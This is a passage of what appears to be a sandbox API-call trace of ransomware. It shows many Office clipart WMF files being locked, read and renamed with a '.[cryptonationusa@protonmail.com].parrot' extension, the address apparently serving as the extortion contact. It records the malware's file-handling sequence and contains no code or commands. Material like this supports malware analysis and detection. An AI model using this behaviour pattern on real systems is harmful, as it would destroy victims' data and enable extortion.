office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.778] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x256c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.778] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.778] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.780] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.780] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2454, lpOverlapped=0x0) returned 1 [0130.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.782] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x256c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.782] CloseHandle (hObject=0x1b0) returned 1 [0130.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.784] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.784] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.784] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.786] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.786] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfc0, lpOverlapped=0x0) returned 1 [0130.786] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.787] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.787] CloseHandle (hObject=0x1b0) returned 1 [0130.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.789] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x120c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.789] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.791] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.791] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10f4, lpOverlapped=0x0) returned 1 [0130.792] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.792] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x120c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.792] CloseHandle (hObject=0x1b0) returned 1 [0130.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.795] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.795] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.795] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.796] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.796] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bac, lpOverlapped=0x0) returned 1 [0130.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.842] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.842] CloseHandle (hObject=0x1b0) returned 1 [0130.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.846] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cd2, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.846] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.847] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.847] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bba, lpOverlapped=0x0) returned 1 [0130.849] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.849] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cd2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.849] CloseHandle (hObject=0x1b0) returned 1 [0130.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.852] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc38, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.852] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.854] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.854] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb20, lpOverlapped=0x0) returned 1 [0130.854] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.854] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.854] CloseHandle (hObject=0x1b0) returned 1 [0130.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.858] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x594, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.858] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47c, lpOverlapped=0x0) returned 1 [0130.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.860] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x594, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.860] CloseHandle (hObject=0x1b0) returned 1 [0130.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.863] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.863] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.864] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xac4, lpOverlapped=0x0) returned 1 [0130.865] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.865] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.865] CloseHandle (hObject=0x1b0) returned 1 [0130.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.868] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.868] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.868] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.869] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f4, lpOverlapped=0x0) returned 1 [0130.870] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.870] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.870] CloseHandle (hObject=0x1b0) returned 1 [0130.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.873] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.873] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.873] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.874] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.874] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1388, lpOverlapped=0x0) returned 1 [0130.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.875] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.875] CloseHandle (hObject=0x1b0) returned 1 [0130.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.891] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.891] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.892] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.893] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.893] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cac, lpOverlapped=0x0) returned 1 [0130.894] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.894] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.894] CloseHandle (hObject=0x27c) returned 1 [0130.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.897] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ed6, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.897] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.897] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.898] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.898] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0130.899] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.899] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ed6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.899] CloseHandle (hObject=0x27c) returned 1 [0130.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.902] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1898, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.902] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.902] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.905] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.905] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1780, lpOverlapped=0x0) returned 1 [0130.906] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.906] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.906] CloseHandle (hObject=0x27c) returned 1 [0130.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.909] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x185e, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.909] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.909] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.911] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.911] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1746, lpOverlapped=0x0) returned 1 [0130.912] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.912] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x185e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.912] CloseHandle (hObject=0x27c) returned 1 [0130.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 